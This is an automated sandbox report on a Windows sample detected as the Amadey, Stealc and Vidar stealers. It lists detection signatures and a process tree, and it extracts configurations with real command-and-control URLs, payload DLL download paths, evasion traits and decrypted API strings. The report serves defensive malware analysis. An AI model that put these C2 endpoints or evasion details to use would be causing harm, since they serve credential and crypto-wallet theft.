Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1570634
MD5:	df2148240759f523a1f6222d9dde9593
SHA1:	909ac448b4c693897ad338a1584cd6b9e9bfecb8
SHA256:	c345aac946f217493e26b70406e93e028985d34c0575b087f208f3dd9c48075d
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7560 cmdline: "C:\Users\user\Desktop\file.exe" MD5: DF2148240759F523A1F6222D9DDE9593)

chrome.exe (PID: 7880 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 8096 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=1960,i,3989721194292092949,15909847573822481878,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7836 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3020 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2176,i,5053567703941882623,5826024289119121658,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8004 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\JDGIECGIEB.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

JDGIECGIEB.exe (PID: 8092 cmdline: "C:\Users\user\Documents\JDGIECGIEB.exe" MD5: EA30F894FE762202951845239534C957)

skotes.exe (PID: 7592 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: EA30F894FE762202951845239534C957)

msedge.exe (PID: 7032 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5748 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2348 --field-trial-handle=2060,i,13102130141342141745,5107454723265991497,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 3456 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: EA30F894FE762202951845239534C957)

skotes.exe (PID: 768 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: EA30F894FE762202951845239534C957)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1979370069.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1978262092.0000000000611000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000002.2062939332.00000000005B1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000002.2050408210.00000000005B1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000002.2019078074.0000000000151000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000002.2644831254.00000000005B1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1978262092.00000000006DC000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7560	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7560	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7560	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7560	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
18.2.skotes.exe.5b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.skotes.exe.5b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.skotes.exe.5b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.2.JDGIECGIEB.exe.150000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.610000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.file.exe.610000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7560, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 7880, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T15:06:13.242939+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49706	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T15:06:13.121800+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.8	49706	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T15:06:13.562553+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.8	49706	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T15:06:14.992169+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.8	49706	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T15:06:13.692172+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.8	49706	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T15:06:12.680199+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49706	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T15:08:05.481381+0100	2856147	1	A Network Trojan was detected	192.168.2.8	49744	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T15:06:01.486824+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.8	49745	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T15:08:09.932673+0100	2803305	3	Unknown Traffic	192.168.2.8	49746	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T15:06:15.701916+0100	2803304	3	Unknown Traffic	192.168.2.8	49706	185.215.113.206	80	TCP
2024-12-07T15:06:42.576867+0100	2803304	3	Unknown Traffic	192.168.2.8	49738	185.215.113.206	80	TCP
2024-12-07T15:06:44.449653+0100	2803304	3	Unknown Traffic	192.168.2.8	49738	185.215.113.206	80	TCP
2024-12-07T15:06:45.939200+0100	2803304	3	Unknown Traffic	192.168.2.8	49738	185.215.113.206	80	TCP
2024-12-07T15:06:47.020861+0100	2803304	3	Unknown Traffic	192.168.2.8	49738	185.215.113.206	80	TCP
2024-12-07T15:06:50.863555+0100	2803304	3	Unknown Traffic	192.168.2.8	49738	185.215.113.206	80	TCP
2024-12-07T15:06:51.980059+0100	2803304	3	Unknown Traffic	192.168.2.8	49738	185.215.113.206	80	TCP
2024-12-07T15:06:57.807073+0100	2803304	3	Unknown Traffic	192.168.2.8	49740	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/softokn3.dll:oH	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllct	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php003	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpUE	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpt8	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpc60ab594776c83eaa9bd06ecc7f8	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllCu	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpL8	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dll)o	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllX	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php.L	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllOt	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dll-u	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllwo	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000000.00000002.1979370069.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 00000012.00000002.2062939332.00000000005B1000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1012962001\931e3b56d4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.610000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.610000.0.unpack	String decryptor: 07
Source: 0.2.file.exe.610000.0.unpack	String decryptor: 01
Source: 0.2.file.exe.610000.0.unpack	String decryptor: 20
Source: 0.2.file.exe.610000.0.unpack	String decryptor: 25
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.610000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.610000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.610000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.610000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.610000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.610000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.610000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.610000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.610000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.610000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.610000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.610000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.610000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.610000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.610000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.610000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.610000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.610000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.610000.0.unpack	String decryptor: http://185.215.113.206
Source: 0.2.file.exe.610000.0.unpack	String decryptor: /c4becf79229cb002.php
Source: 0.2.file.exe.610000.0.unpack	String decryptor: /68b591d6548ec281/
Source: 0.2.file.exe.610000.0.unpack	String decryptor: drum
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.610000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.610000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.610000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.610000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.610000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.610000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.610000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.610000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.610000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.610000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.610000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.610000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.610000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.610000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.610000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.610000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.610000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.610000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.610000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.610000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.610000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.610000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.610000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.610000.0.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.610000.0.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.610000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.610000.0.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.610000.0.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.610000.0.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.610000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.610000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.610000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.610000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.610000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.610000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetDC
Source: 0.2.file.exe.610000.0.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.610000.0.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.610000.0.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.610000.0.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.610000.0.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.610000.0.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.610000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.610000.0.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.610000.0.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.610000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.610000.0.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.610000.0.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.610000.0.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.610000.0.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.610000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.610000.0.unpack	String decryptor: sqlite3_prepare_v2
